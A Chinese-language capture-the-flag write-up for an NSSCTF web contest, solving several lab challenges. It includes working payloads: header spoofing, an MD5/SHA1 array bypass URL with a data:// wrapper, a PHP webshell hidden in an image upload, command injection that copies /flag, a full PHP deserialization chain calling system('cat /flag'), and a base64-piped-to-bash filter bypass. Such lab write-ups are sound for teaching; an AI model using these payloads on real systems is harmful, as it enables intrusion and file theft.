今天再来做做这个, 网址是 https://www.nssctf.cn/contest/221/
colorful_snake
这似乎是一个贪吃蛇小游戏, 我贪吃蛇比较菜, 就先不玩了
看到源码里面有 game.js
, 直接打开分析分析
可以看到在最下面有 this_is_flag
函数, 执行之后就可以得到 flag 了?
然而flag却是 NSSCTF{this_is_fake_flag}
, 提交之后发现不正确, 我们再继续找找
再让下看, 可以看到 this_is _real_flag
函数, 解密得到真实 flag, 提交即可
(还好不像 ACM 一样有罚时)
NSS_HTTP_CHECKER
可以看到有这些要求, 我们来一个个满足一下
- 传入 GET 参数即可, 可以看到这里是 %1t, 我们注意一点
- 传入 POST 的 form 参数即可
- Cookie 在 Header 中填写好
- NSSCTF 浏览器的话直接写到
User-Agent
里面 - 本地网络尝试使用
X-Forwarded-For
来伪装真实 IP
解决掉这些之后就可以得到 flag
啦
您!
没想到还是音游佬出题
一键连接!
我们 可以看看, 这个要求两个原文本不相等但是 MD5 或者 sha1 相等
第一个 MD5 和 sha1 我们使用数组绕过, 数组经过加密之后都为 null, 可以绕过全等判断
之后就是一个提示 可曾听过data协议?
我们使用 data 协议过掉所有判断, 得到 url 如下
http://node5.anna.nssctf.cn:28322/?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2&new_player=data://text/plain;base64,V2VsY29tZSB0byBOU1NDVEYhISE=
最后可以看到试试 need Antsword
, 可以看到要用中国蚁剑来打了!
连接上后根目录找到 flag
ex_talk
经典的文件上传, 我们先试着上传一张, 发现要求必须是图片, 并且是服务端校验
我们尝试用一句话改个后缀来进行执行, 结果发现返回改了type我就不知道你这个不是图片了是吧
(有一种熟悉的感觉不是吗)
发现服务端是检测的文件头, 我们尝试创建一个 1×1 的图片, 在文件尾加上 php 代码试试, 并用 PHP 作为扩展上传试试.
pingpingping
发现此处提示当前为 Windows 环境(信你了, docker 是 linux), 此处通过了 system 执行了 ping 指令并且无回显, 考虑命令穿越
这个地方有一个小问题, 他的 GET 参数存在 .
, 这会在 php 里面被转义成 _
感谢 @H3 大佬的提醒, 这篇文章 写了如何绕过这个问题
我们再拼接一个 ; cp /flag ./flag
, 在通过网页访问即可
UnS3rialize
这道题为 PHP 反序列化
我们先看看代码
我们可以分析这道题
- 看到在
NSS
类的__invoke
下存在system
执行, 需要将NSS
类作为函数调用 - 在
C
类的__get
方法将whoami
进行调用 (这里使用了中间变量中转), 我们将其赋值为NSS
类, 我们需要找到访问非法字段的地方 - 在
T
的__toString
下访问了sth
的var
(var
非法), 我们将其赋值为C
类, 需要找到字符串调用的地方 - 在
F
中的__destruct
存在对note
字符串拼接, 将其赋值为T
, 发现需要user
和passwd
满足条件
于是我们构造如下反序列化链
<?php
class NSS
{
public $cmd = "cat /flag";
}
class C
{
public $whoami;
}
class T
{
public $sth;
}
class F
{
public $user = "SWPU";
public $passwd = "NSS";
public $notes;
}
$f = new F("SWPU", "NSS");
$t = new T();
$c = new C();
$nss = new NSS();
$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;
echo serialize($f);
即可拿到 flag
RCE-PLUS
这是一道远程执行漏洞, 发现通过正则进行匹配掉了某些关键字, 并且死亡 die 掉
经过发现, 没有过滤掉 bash 指令, 我们可以将我们的指令经过 base64 编码, 再通过管道解码后再管道进 bash
于是构建请求
echo Y3AgL2ZsYWcgLi9mbGFn~ | base64 -d | bash
拿到 flag
if-else
这个的话直接在那里写 var_dump(file_get_contents('/flag'))
再访问 check.php
即可
(我是绕过了考点吗?)
唉, 今天下午就要结束了, 这篇 WP 也是在课间赶出来的.
之后我要恶补一下反序列化了, Java 和 PHP 的, 不然真的每次都弄不来, 太笨了